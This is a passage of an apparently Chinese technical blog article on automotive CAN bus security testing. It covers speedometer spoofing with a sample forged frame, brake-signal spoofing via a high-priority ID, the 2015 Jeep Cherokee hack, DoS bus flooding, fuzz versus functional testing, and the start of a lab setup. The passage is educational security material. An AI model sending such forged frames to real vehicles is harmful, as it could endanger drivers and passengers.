data-recommend=\"\">#00<\/a>&nbsp;00 00 00 00 00 88 13 \u2192 \u4eea\u8868\u663e\u793a 200 km\/h<\/span><\/p>\n<p style=\"color: rgb(26, 35, 126);font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 4px;\"><span style=\"color: rgb(192, 57, 43);\"><span leaf=\"\">\u4f2a\u9020\uff1a<\/span><\/span><span leaf=\"\">&nbsp;0x1A4<a class=\"wx_topic_link\" topic-id=\"mr4n9cbi-ngfq1s\" style=\"color: #576B95 !important;\" data-topic=\"1\" data-recommend=\"\">#00<\/a>&nbsp;00 00 00 00 00 88 13 \u2192 \u4eea\u8868\u663e\u793a 200 km\/h\uff08\u5b9e\u9645\u8f66\u901f0\uff01\uff09<\/span><\/p>\n<p style=\"font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px;font-size: 11px;color: rgb(153, 153, 153);font-family: &quot;PingFang SC&quot;, sans-serif;\"><span leaf=\"\">\u26a0\ufe0f \u9a7e\u9a76\u5458\u88ab\u6b3a\u9a97\uff1a\u4eea\u8868\u76d8\u663e\u793a200km\/h\uff0c\u4f46\u771f\u5b9e\u8f66\u901f\u4e3a0\uff0c\u6781\u5176\u5371\u9669<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\ud83d\udd34&nbsp;<span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u6848\u4f8bB\uff1a\u4f2a\u9020\u5239\u8f66\u4fe1\u53f7\uff08\u4e0e2015 Jeep Cherokee\u4e8b\u4ef6\u539f\u7406\u76f8\u540c\uff09<\/span><\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u8fd9\u662f\u771f\u5b9e\u53d1\u751f\u7684\u653b\u51fb\u4e8b\u4ef6\u3002<\/span><strong><span leaf=\"\">2015\u5e747\u6708<\/span><\/strong><span leaf=\"\">\uff0c\u5b89\u5168\u7814\u7a76\u5458Charlie Miller\u548cChris Valasek\u6210\u529f\u8fdc\u7a0b\u5165\u4fb5\u4e00\u8f86\u6b63\u5728\u9ad8\u901f\u516c\u8def\u4e0a\u884c\u9a76\u7684Jeep Cherokee\uff0c\u901a\u8fc7\u8f66\u5185\u7684\u5a31\u4e50\u7cfb\u7edf\u2192<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u2192\u5239\u8f66\u63a7\u5236\u5355\u5143\u7684\u653b\u51fb\u8def\u5f84\uff0c\u5b9e\u73b0\u4e86\u8fdc\u7a0b\u5239\u8f66\u3002<\/span><\/p>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(123, 12, 0);font-weight: bold;\">CAN\u5c42\u9762\u7684\u653b\u51fb\u539f\u7406\u662f\uff1a<\/span><\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li>\n<section><span leaf=\"\">\u5239\u8f66\u4fe1\u53f7\u901a\u5e38\u4f7f\u7528<\/span><strong><span leaf=\"\">\u9ad8\u4f18\u5148\u7ea7ID<\/span><\/strong><span leaf=\"\">\uff08\u6570\u503c\u8f83\u5c0f\uff0c\u59820x155\uff09\uff0c\u4ee5\u786e\u4fdd\u5728\u5173\u952e\u65f6\u523b\u80fd\u4f18\u5148\u53d1\u9001\u3002<\/span><\/section>\n<\/li>\n<li><span style=\"color: rgb(198, 40, 40);font-weight: 600;\"><span leaf=\"\">\u653b\u51fb\u8005<\/span><\/span><br \/>\n<section><span leaf=\"\">\u53ef\u4ee5\u53d1\u9001\u76f8\u540cID\uff080x155\uff09\u7684\u4f2a\u9020\u5239\u8f66\u5e27\uff0c\u5185\u5bb9\u8bbe\u7f6e\u4e3a&#8221;\u5239\u8f66\u5df2\u6309\u4e0b&#8221;\u3002<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u7531\u4e8eID\u76f8\u540c\u3001\u4f18\u5148\u7ea7\u76f8\u540c\uff0cECU\u53ef\u80fd\u65e0\u6cd5\u533a\u5206&#8221;\u771f\u5239\u8f66&#8221;\u548c&#8221;\u5047\u5239\u8f66&#8221;\uff0c\u6267\u884c\u4e86\u865a\u5047\u7684\u5236\u52a8\u52a8\u4f5c\u3002<\/span><\/section>\n<\/li>\n<\/ul>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><strong style=\"color: rgb(192, 57, 43);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 245, 245);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u26a0\ufe0f \u771f\u5b9e\u4e8b\u4ef6\u56de\u987e\uff1a<\/span><\/strong><span style=\"color: rgb(192, 57, 43);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 245, 245);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span leaf=\"\">2015\u5e74\u7684Jeep Cherokee\u653b\u51fb\u6700\u7ec8\u5bfc\u81f4FCA\uff08\u83f2\u4e9a\u7279\u514b\u83b1\u65af\u52d2\uff09\u53ec\u56de\u4e86140\u4e07\u8f86\u6c7d\u8f66\uff0c\u5e76\u9996\u6b21\u901a\u8fc7\u8f6f\u4ef6\u5347\u7ea7\uff08OTA\uff09\u8fdc\u7a0b\u4fee\u590d\u4e86<\/span><\/span><span style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 245, 245);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">\u5b89\u5168\u6f0f\u6d1e<\/span><\/span><span style=\"color: rgb(192, 57, 43);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 245, 245);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span leaf=\"\">\u3002\u8fd9\u662f\u5386\u53f2\u4e0a\u9996\u6b21\u56e0\u7f51\u7edc\u5b89\u5168\u95ee\u9898\u5bfc\u81f4\u7684\u6c7d\u8f66\u53ec\u56de\u3002<\/span><\/span><\/p>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\ud83d\udd34&nbsp;<span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u6848\u4f8bC\uff1a<\/span><\/span><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">DoS<\/span><\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u6cdb\u6d2a\u653b\u51fb\u2014\u2014\u8ba9<\/span><\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">CAN\u603b\u7ebf<\/span><\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">&#8220;\u5835\u6b7b&#8221;<\/span><\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u53ea\u6709\u4e00\u6761&#8221;\u9053\u8def&#8221;\uff0c\u6240\u6709ECU\u5171\u4eab\u8fd9\u6761\u9053\u8def\u3002\u5982\u679c\u5728\u77ed\u65f6\u95f4\u5185\u5411\u603b\u7ebf\u5927\u91cf\u53d1\u9001\u9ad8\u4f18\u5148\u7ea7\u5e27\uff0c\u8fd9\u6761\u9053\u8def\u5c31\u4f1a\u88ab\u5b8c\u5168\u5835\u6b7b\uff0c\u5176\u4ed6ECU\u7684\u6b63\u5e38\u6d88\u606f\u65e0\u6cd5\u53ca\u65f6\u53d1\u51fa\u3002<\/span><\/p>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(64, 118, 0);font-weight: bold;\">\u653b\u51fb\u6548\u679c\uff1a<\/span><\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li>\n<section><span leaf=\"\">\u4eea\u8868\u76d8\u505c\u6b62\u66f4\u65b0\uff0c\u663e\u793a\u5361\u4f4f<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u53d1\u52a8\u673a\u8f6c\u901f\u8868\u5f52\u96f6\uff08\u5373\u4f7f\u53d1\u52a8\u673a\u6b63\u5e38\u8fd0\u8f6c\uff09<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u5b89\u5168\u6c14\u56ca\u7cfb\u7edf\u53ef\u80fd\u68c0\u6d4b\u5230\u901a\u4fe1\u6545\u969c\uff0c\u8fdb\u5165\u8ddb\u884c\u6a21\u5f0f<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u6781\u7aef\u60c5\u51b5\u4e0b\u53ef\u80fd\u5bfc\u81f4\u8f66\u8f86\u65e0\u6cd5\u6b63\u5e38\u542f\u52a8<\/span><\/section>\n<\/li>\n<\/ul>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">2.4 \u4e3a\u4ec0\u4e48\u4f20\u7edf\u529f\u80fd\u6d4b\u8bd5\u53d1\u73b0\u4e0d\u4e86\u8fd9\u4e9b\u95ee\u9898\uff1f<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(64, 118, 0);\">\u8fd9\u662f\u6240\u6709\u6c7d\u8f66\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u90fd\u9700\u8981\u7406\u89e3\u7684\u6838\u5fc3\u533a\u522b\uff1a<\/span><\/span><\/p>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(240, 255, 240);\">\n<th style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u7ef4\u5ea6<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u529f\u80fd\u6d4b\u8bd5<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u5b89\u5168\u6d4b\u8bd5\uff08<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\uff09<\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\"><strong><span leaf=\"\">\u76ee\u6807<\/span><\/strong><\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u9a8c\u8bc1\u6b63\u5e38\u529f\u80fd\u662f\u5426\u5de5\u4f5c<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u9a8c\u8bc1\u5f02\u5e38\u8f93\u5165\u662f\u5426\u5f15\u53d1\u5b89\u5168\u95ee\u9898<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\"><strong><span leaf=\"\">\u8f93\u5165\u6570\u636e<\/span><\/strong><\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6b63\u5e38\u7684\u3001\u7b26\u5408\u89c4\u8303\u7684\u6570\u636e<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u7578\u5f62\u7684\u3001\u968f\u673a\u7684\u3001\u8fb9\u754c\u7684\u3001\u6076\u610f\u6784\u9020\u7684\u6570\u636e<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\"><strong><span leaf=\"\">\u5173\u6ce8\u70b9<\/span><\/strong><\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u529f\u80fd\u662f\u5426\u53ef\u7528\uff0c\u7ed3\u679c\u662f\u5426\u6b63\u786e<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u662f\u5426\u51fa\u73b0\u6b7b\u673a\u3001\u9519\u8bef\u52a8\u4f5c\u3001\u5b89\u5168\u7ed5\u8fc7<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\"><strong><span leaf=\"\">\u53d1\u73b0\u95ee\u9898<\/span><\/strong><\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u529f\u80fdBug\u3001\u6027\u80fd\u95ee\u9898<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\"><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">\u5b89\u5168\u6f0f\u6d1e<\/span><\/span><\/p>\n<section><span leaf=\"\">\u3001\u5f02\u5e38\u5904\u7406\u7f3a\u9677<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><strong><span leaf=\"\">\u7ed3\u8bba\uff1a\u529f\u80fd\u6d4b\u8bd5\u544a\u8bc9\u4f60&#8221;\u8fd9\u8f86\u8f66\u80fd\u5f00&#8221;\uff1b\u5b89\u5168\u6d4b\u8bd5\u544a\u8bc9\u4f60&#8221;\u8fd9\u8f86\u8f66\u88ab\u653b\u51fb\u65f6\u4f1a\u53d1\u751f\u4ec0\u4e48&#8221;\u3002\u4e24\u8005\u7f3a\u4e00\u4e0d\u53ef\u3002<\/span><\/strong><\/p>\n<hr style=\"border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);\"  \/>\n<h2 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 19px;color: rgb(26, 35, 126);border-left: 4px solid rgb(21, 101, 192);padding: 8px 16px;margin: 36px 0px 20px -4px;background: linear-gradient(90deg, rgb(227, 240, 255) 0%, transparent 100%);border-radius: 0px 6px 6px 0px;border-bottom-width: medium;border-bottom-style: none;border-bottom-color: currentcolor;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u4e09\u3001\u73af\u5883\u642d\u5efa\uff1a\u4ece\u96f6\u6784\u5efa\u4f60\u7684\u6c7d\u8f66\u5b89\u5168\u5b9e\u9a8c\u5ba4<\/span><\/h2>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 14px;text-align: justify;\"><span leaf=\"\">\u4e07\u4e8b\u5f00\u5934\u96be\uff0c\u4f46<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u6d4b\u8bd5\u73af\u5883\u7684\u642d\u5efa\u5176\u5b9e\u975e\u5e38\u7b80\u5355\u3002\u4e0b\u9762\u7684\u65b9\u6848\u5206\u4e3a\u4e09\u7c7b\uff0c\u5206\u522b\u9002\u5408\u4e0d\u540c\u9884\u7b97\u548c\u9700\u6c42\u7684\u540c\u5b66\u3002\u6211\u63a8\u8350\u4ece<\/span><strong><span leaf=\"\">\u7eaf\u8f6f\u4ef6\u65b9\u6848<\/span><\/strong><span leaf=\"\">\u5f00\u59cb\uff0c\u96f6\u6210\u672c\u3001\u96f6\u98ce\u9669\uff0c\u7b49\u719f\u6089\u4e86\u518d\u5347\u7ea7\u5230\u786c\u4ef6\u65b9\u6848\u3002<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<figure style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 24px 0px;background: rgb(248, 250, 252);border: 1px solid rgb(226, 232, 240);border-radius: 10px;padding: 20px;text-align: center;\">\n<p><span leaf=\"\">\u56fe4\uff1a\u865a\u62dfCAN\uff08vcan\uff09vs \u7269\u7406CAN\u5de5\u4f5c\u539f\u7406\u5bf9\u6bd4<\/span><\/p>\n<p><svg viewbox=\"0 0 800 290\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:100%;font-family:sans-serif;\"><text x=\"175\" y=\"28\" text-anchor=\"middle\" font-size=\"13\" fill=\"#0d47a1\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udd0c \u7269\u7406CAN\uff08Real Hardware\uff09<\/tspan><\/text><rect x=\"30\" y=\"42\" width=\"110\" height=\"55\" rx=\"6\" fill=\"#e3f2fd\" stroke=\"#1565c0\" stroke-width=\"2\"><\/rect><text x=\"85\" y=\"64\" text-anchor=\"middle\" font-size=\"10\" fill=\"#0d47a1\" font-weight=\"bold\"><tspan leaf=\"\">CAN Controller<\/tspan><\/text><text x=\"85\" y=\"78\" text-anchor=\"middle\" font-size=\"9\" fill=\"#888\"><tspan leaf=\"\">MCP2515 \/ SJA1000<\/tspan><\/text><line x1=\"140\" y1=\"62\" x2=\"170\" y2=\"62\" stroke=\"#1565c0\" stroke-width=\"2\"><\/line><line x1=\"140\" y1=\"77\" x2=\"170\" y2=\"77\" stroke=\"#1565c0\" stroke-width=\"2\"><\/line><text x=\"155\" y=\"58\" text-anchor=\"middle\" font-size=\"7\" fill=\"#888\"><tspan leaf=\"\">CAN_H<\/tspan><\/text><text x=\"155\" y=\"90\" text-anchor=\"middle\" font-size=\"7\" fill=\"#888\"><tspan leaf=\"\">CAN_L<\/tspan><\/text><rect x=\"175\" y=\"52\" width=\"75\" height=\"38\" rx=\"5\" fill=\"#bbdefb\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/rect><text x=\"212\" y=\"66\" text-anchor=\"middle\" font-size=\"9\" fill=\"#0d47a1\" font-weight=\"bold\"><tspan leaf=\"\">CAN Transceiver<\/tspan><\/text><line x1=\"250\" y1=\"71\" x2=\"340\" y2=\"71\" stroke=\"#1565c0\" stroke-width=\"3\"><\/line><line x1=\"340\" y1=\"71\" x2=\"340\" y2=\"140\" stroke=\"#1565c0\" stroke-width=\"2\"><\/line><line x1=\"340\" y1=\"140\" x2=\"280\" y2=\"140\" stroke=\"#1565c0\" stroke-width=\"2\"><\/line><line x1=\"340\" y1=\"140\" x2=\"340\" y2=\"200\" stroke=\"#1565c0\" stroke-width=\"2\"><\/line><line x1=\"340\" y1=\"200\" x2=\"280\" y2=\"200\" stroke=\"#1565c0\" stroke-width=\"2\"><\/line><rect x=\"218\" y=\"55\" width=\"65\" height=\"22\" rx=\"4\" fill=\"#e3f2fd\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/rect><text x=\"250\" y=\"69\" text-anchor=\"middle\" font-size=\"9\" fill=\"#0d47a1\"><tspan leaf=\"\">ECU-1<\/tspan><\/text><rect x=\"278\" y=\"122\" width=\"65\" height=\"22\" rx=\"4\" fill=\"#e3f2fd\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/rect><text x=\"310\" y=\"136\" text-anchor=\"middle\" font-size=\"9\" fill=\"#0d47a1\"><tspan leaf=\"\">ECU-2<\/tspan><\/text><rect x=\"278\" y=\"182\" width=\"65\" height=\"22\" rx=\"4\" fill=\"#e3f2fd\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/rect><text x=\"310\" y=\"196\" text-anchor=\"middle\" font-size=\"9\" fill=\"#0d47a1\"><tspan leaf=\"\">ECU-3<\/tspan><\/text><text x=\"85\" y=\"265\" text-anchor=\"middle\" font-size=\"9\" fill=\"#1565c0\"><tspan leaf=\"\">\u2705 \u771f\u5b9e\u6c7d\u8f66<\/tspan><\/text><text x=\"85\" y=\"278\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">\u9700CAN\u63a7\u5236\u5668+\u7269\u7406\u7ebf\u675f<\/tspan><\/text><circle cx=\"400\" cy=\"145\" r=\"28\" fill=\"#f5f5f5\" stroke=\"#ccc\" stroke-width=\"2\"><\/circle><text 